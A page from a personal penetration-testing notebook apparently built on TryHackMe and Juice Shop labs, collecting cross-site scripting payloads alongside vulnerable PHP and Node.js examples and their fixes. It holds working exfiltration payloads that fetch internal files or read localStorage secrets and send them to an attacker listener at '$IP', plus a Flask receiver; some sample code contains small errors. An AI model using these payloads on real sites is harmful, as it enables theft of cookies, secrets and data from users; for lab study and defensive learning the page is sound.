# Disboard #
  • Reconnaissance
    • Quick Guide
    • Ports and Protocols
    • Passive Reconnaissance
    • Active Reconnaissance
  • Enumeration
    • Password Cracking
    • Hydra
    • Wireshark
    • Snort
    • Steganography
  • Web
    • OWASP Top 10
    • OWASP API
    • SQL Injection
      • Microsoft SQL Injection
    • Cross Site Scripting
    • Browser Vulnerabilities
    • Fuzzing
  • Linux
    • Privilege Escalation
    • Docker
    • Program Life Cycle
  • Windows
    • Privilege Escalation
    • Active Directory
    • Powershell
  • Event Logs
    • Sysmon
  • Exploitation
    • Shells
      • Upgrading Shells
    • Metasploit
      • Meterpreter
    • KOTH
    • Source Code Review
  • Hack the Box
    • ARCHETYPE
    • BASE
    • BASHED
    • EXPLORE
    • NIBBLES
  • Try Hack Me
    • ADVENTURE TIME
    • HACKFINITY
    • MOTHER'S SECRET
    • OFFSEC
    • POSTEXPLOIT
    • ROASTED
    • TEMPEST
    • TRAVERSE
  • CompTIA
    • Network
      • 1.0 Networking Fundamentals
      • 2.0 Network Implementations
      • 3.0 Network Operations
      • 4.0 Network Security
      • 5.0 Network Troubleshooting
    • PenTest
  • SIEM
    • Splunk
    • Elastic
  • Wireless
    • Wi-Fi Hacking
  • Other
    • PicoCTF
    • SSH Tunneling
    • Life Hacks
    • My Pokémon API
    • Github
Powered by GitBook
On this page
  • Basic XSS Injection
  • Console Actions
  • XSS Hacking
  • LFI
  • Flask App Usage
  • Juice Shop
  • Reflected XSS
  • Stored XSS
  • DOM Based XSS
  • DOM Clobbering
  1. Web

Cross Site Scripting

A collection of XSS inputs

Basic XSS Injection

  • Create a popup saying "Hello": <script>alert("ALERT")</script>

  • Create a popup printing the host IP address: alert(window.location.hostname)

  • Create a popup printing the document cookies: alert(document.cookie)

  • XSS using an image: <img src="#" onerror=alert(1) />

Console Actions

  • Changes the content of an element titled "title": document.getElementById("title").innerText="hacked";

  • Cause an alert to happen: alert()OR alert(1)OR alert('XSS')OR alert("XSS")

  • Log to JS console: console.log("test")

  • Encode a string using base64: btoa("$PLAINTEXT")

  • Decode base64 to a string: atob("$BASE64")

  • Get document cookie: document.cookie

XSS Hacking

Sometimes XSS will allow you to do unintended actions on the target. This can include "Session Manipulation and Hijacking", "Local File Inclusion and Reading", and "Remote Code Execution".

LFI

The following code can be used to read an internal page and send it to a listening server on the attack box, it uses the "fetch" keyword to get the html data on a page, read it as text, and then forward it as a GET parameter called data to a listening server:

<script>
	fetch('http://127.0.0.1:8080/flag.txt').then(
		r => r.text().then(
			r => fetch('http://$IP:8080/?data=' + r)
		)
	)
</script>

Another example that has more error handling and uses the "img onerror" attribute to bypass checks for the script tag is as follows:

<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://$IP:8080/?data=' + r)).catch(e => fetch('http://$IP:8080/?error=' + e))"/>

Other methodologies could be used as well to get page data such as using the method "xhr":

<script>
  // CHANGE THESE
  const internalURL = "http://127.0.0.1:8080/flag.txt";
  const remoteServer = "http://$IP:8080";

  // Create an XMLHttpRequest to fetch the internal page
  const xhr = new XMLHttpRequest();
  xhr.open("GET", internalURL, true);
  xhr.onreadystatechange = function () {
    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
      const exfil = new XMLHttpRequest();
      exfil.open("POST", remoteServer, true);
      exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      exfil.send("data=" + encodeURIComponent(xhr.responseText));
    }
  };
  xhr.send();
</script>

Flask App Usage

If your standard netcat listener isn't up to the task, a Flask server can be used to examine and control the flow of traffic between your server and the target box. An example of the Flask server can look like this:

from flask import Flask, request, send_from_directory, jsonify

app = Flask(__name__)

# Define a route for static files
@app.route('/<filename>')
def serve_file(filename):
    return send_from_directory('.', filename)

@app.route('/<filename>', methods=['POST', 'OPTIONS'])
def receive_data():
    if request.method == 'OPTIONS':
        # Handle preflight request
        response = app.make_response("")
        response.headers['Access-Control-Allow-Origin'] = '*'  # Allow all origins
        response.headers['Access-Control-Allow-Methods'] = 'POST, OPTIONS'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type'
        return response

    # Handle the actual POST request
    data = request.json  # Extract JSON payload
    print("Received data:", data)  # Log data for debugging
    return jsonify({"status": "success"}), 200

if __name__ == '__main__':
    # Run the Flask app on port 8080
    app.run(host='0.0.0.0', port=8080)

Juice Shop

Using an iframe element with a javascript alert tag in a search bar would be considered DOM XSS:

<iframe src="javascript:alert(`xss`)">

This type of XSS is called XFS (Cross-Frame Scripting), it is one of the most common forms of detecting XSS within web applications. When the request is made to the server, it will send back an alert due to incorrect input sanitation.

If this was done using Burp to change the header of a page request or continuous chat, persistent XSS could be created to have it execute every time the page is accessed.

Reflected XSS

Reflected XSS is a type of XSS vulnerability where a malicious script is reflected to the user's browser, often via a crafted URL or form submission. The following search query is a simple example of reflected XSS:

<script>alert(document.cookie)</script>

PHP

Suppose the following PHP code is presented:

<?php
$search_query = $_GET['q'];
echo "<p>You searched for: $search_query</p>";
?>

The $_GET function retrieves a PHP array containing values from the URL query string. The command $_GET['q'] refers to a query string parameter q such that the URL would look like http://website.com/search.php?q=term. Withut any sanitization, this piece of code would allow malicious scripts such as XSS or MYSQL injection to name a few.

This could be fixed using the htmlspecialchars() function to convert special characters to HTML entities.

JavaScript (Node.js)

Given the following Node.js code:

const express = require('express');
const app = express();

app.get('/search', function(req, res) {
    var searchTerm = req.query.q;
    res.send('You searched for: ' + searchTerm);
});

app.listen(80);

This code uses Express, a popular web application framework for Node.js. The req.query.q will extract the value of q similar to the above PHP code. The following proof of concept can then be used to cause reflected XSS:

http://website.com/search?q=<script>alert(document.cookie)</script>

This can be fixed using the following code snippets:

const sanitizeHtml = require('sanitize-html');
...
    const searchTerm = req.query.q;
    const sanitized SearchTerm = sanitizeHtml(searchTerm);

This can also be done with escapeHtml() function.

Stored XSS

Also known as persistent XSS, it's a vulnerability that occurs when the application stores user-supplied input and later embeds it in web pages served to other users without proper sanitization or escaping. Examples include web forum posts, product reviews, user comments, and other data stores.

PHP

The code below has multiple vulnerabilities:

// Storing user comment
$comment = $_POST['comment'];
mysqli_query($conn, "INSERT INTO comments (comment) VALUES ('$comment')");

// Displaying user comment
$result = mysqli_query($conn, "SELECT comment FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
    echo $row['comment'];
}

Although this is vulnerable to SQL injection in the section $_POST['comment'], it is also vulnerable to XSS since the comment is displayed without sanitization with the line echo $row['comment']. These vulnerabilities can be fixed with mysqli_real_escape_string() and htmlspecialchars() functions respectively.

Javascript (Node.js)

The following is an example of another stored XSS vulnerability:

app.get('/comments', (req, res) => {
  let html = '<ul>';
  for (const comment of comments) {
    html += `<li>${comment}</li>`;
  }
  html += '</ul>';
  res.send(html);
});

The main issue here is with the section ${comment} and how it is displayed directly as part of the HTML code. If a user views this comment, any scripts that were injected in it would be executed by the visiting user. This can be fixed using sanitizeHTML() as well as prevent unsafe elements like <script> and <onload>.

DOM Based XSS

The following "Person" field is where the vulnerability lies:

<td><p v-html=bday.person></p></td>
<td>{{ bday.bdate }}</td>

The v-html tag allows html input and does only basic sanitizing versus the second td element which translates the input to text. The application itself requires a secret key in local storage to request a delete operation. The idea was to create a stored DOM XSS to capture other users secret keys and send them to a listening server on an attack box. The following list is the process of crafting a payload to execute sending a message containing the captured secret key:

<-- This is a simple XSS, this prints XSS to the console -->

<img src='#' onerror=console.log('XSS') />

<-- This sends a GET request to the attack box with a parameter -->

<img src='#' onerror=fetch('http://$IP:1337?id=1') />

<-- Specially crafted message to send a GET request with the
parameter secret which is fetched from a user's local storage
and then sent to the attack box every 6 seconds -->

<img src='#' onerror="setInterval(function() { var secret = localStorage.getItem('secret'); fetch(`http://$IP:1337?id=${secret}`).then(response => response.json()).then(data => console.log(data)); }, 6000);" />

<-- Shorter and simpler version of above -->

<img src='#' onerror="setInterval(function() {fetch('http://$IP:1337?secret=' + encodeURIComponent(localStorage.getItem('secret'))).then(response => {})},2000);" />

The sent messages can then be captured on a simple Python server.

DOM Clobbering

To test if DOM clobbering can be used, try the following payload

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cyb3rn1nja">

Then in the console, try typing:

window.defaultAvatar.avatar

If this returns the item containing the href value from the payload, then it is likely vulnerable to DOM clobbering.

PreviousMicrosoft SQL InjectionNextBrowser Vulnerabilities

Last updated 5 months ago

The following is based on the following TryHackMe room . The room features a simple birthday list application that is vulnerable to a stored DOM-based XSS attack. While you can add and update birthdays, you cannot delete them by default. However, with the correct payload on a vulnerable input field, it's possible to enable the delete functionality.

Dom-Based Attacks
OWASP Juice ShopTryHackMe
Logo